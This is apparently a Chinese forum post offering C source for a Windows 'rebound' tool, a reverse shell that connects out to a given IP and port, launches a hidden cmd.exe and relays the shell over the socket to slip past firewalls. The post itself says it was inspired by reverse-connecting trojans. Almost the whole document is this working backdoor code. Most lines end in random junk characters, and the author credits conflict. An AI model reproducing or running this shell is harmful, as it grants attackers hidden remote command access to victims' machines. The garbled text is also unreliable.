这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Me.I>7c
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/* ============================== 5bLNQz\WJ
Rebound port in Windows NT 1p}H,\o
By wind,2006/7 oVvA`}
===============================*/
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#include .^wpfS
#include c<_%KL&R
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#pragma comment(lib,"wsock32.lib") L!cOg8Z
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void OutputShell(); qq5X3K2&
SOCKET sClient; =-2~>B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <,M"kF:
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void main(int argc,char **argv) g$K\rA
{ ?@rd,:'dE
WSADATA stWsaData; i(j/C
int nRet; ]{1{XIF
SOCKADDR_IN stSaiClient,stSaiServer; v$]B;;[A
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if(argc != 3) cU6*y!}9
{ B]X8KzLu
printf("Useage:\n\rRebound DestIP DestPort\n"); "#~>q(4^
return; %+~\I\)1
} z5jw\jBD
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WSAStartup(MAKEWORD(2,2),&stWsaData); bXs=<`>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }^&S^N7
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stSaiClient.sin_family = AF_INET; 4CM'I~
stSaiClient.sin_port = htons(0); RCWmdR#}V
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4qid+ [B
{ Wlc&QOfF
printf("Bind Socket Failed!\n"); <w9~T TS
return; cXb*d|-|N
} 36=aahXd\
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stSaiServer.sin_family = AF_INET; fu5L)P^T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q/ljH_-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -ZaeX]^&Q\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?4b0\ -
{ -Uo11'{
printf("Connect Error!"); i=gZ8Q=H
return; ,#)d
} Lk(ESV;r
OutputShell(); 8c9HJ9vk
} IXy6Yn9l
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void OutputShell() :F:1(FDP
{ 3x[Cpg,
char szBuff[1024]; \BnU?z
SECURITY_ATTRIBUTES stSecurityAttributes; :c/54Ss~
OSVERSIONINFO stOsversionInfo; uBlPwb,V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *JJ8\R&P0
STARTUPINFO stStartupInfo; jYp!?%!
char *szShell; Jq/itsg
PROCESS_INFORMATION stProcessInformation; {+67<&g
unsigned long lBytesRead; ~IhM(Q*mO!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UA$IVK&{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MfL7|b)
stSecurityAttributes.lpSecurityDescriptor = 0; 0/GBs~P
stSecurityAttributes.bInheritHandle = TRUE; @lN\.O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^\}qq>_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m4/qxm"Dx:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `Z;Z^c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '[#y|
stStartupInfo.wShowWindow = SW_HIDE; -pC'C%Q
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eAlOMSL\
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GetVersionEx(&stOsversionInfo); &E&~9"^hQL
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switch(stOsversionInfo.dwPlatformId) od)TQSo
{ &s".hP6
case 1: 3x;UAi+&
szShell = "command.com"; cUR :a@
break; gv`_+E{P
default: 9S%5Z>
szShell = "cmd.exe"; So1TH%
break; aj5HtP-
} O)q4^AE$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oP,*H6)i
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send(sClient,szMsg,77,0); A)U"F&tvm
while(1) +YvF+E
{ #tV1?q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LSC[S:
if(lBytesRead) Gn2{C%
{ ga
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]d1'5F][H
send(sClient,szBuff,lBytesRead,0); 95,]86
}
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else aGbG@c8PRi
{ V}s/knd
lBytesRead=recv(sClient,szBuff,1024,0); lx+;<la
if(lBytesRead<=0) break; 6&$.E! z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `H! (hMMV
} NTu|cX\R
} j=O+U_w
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return; vFk@
}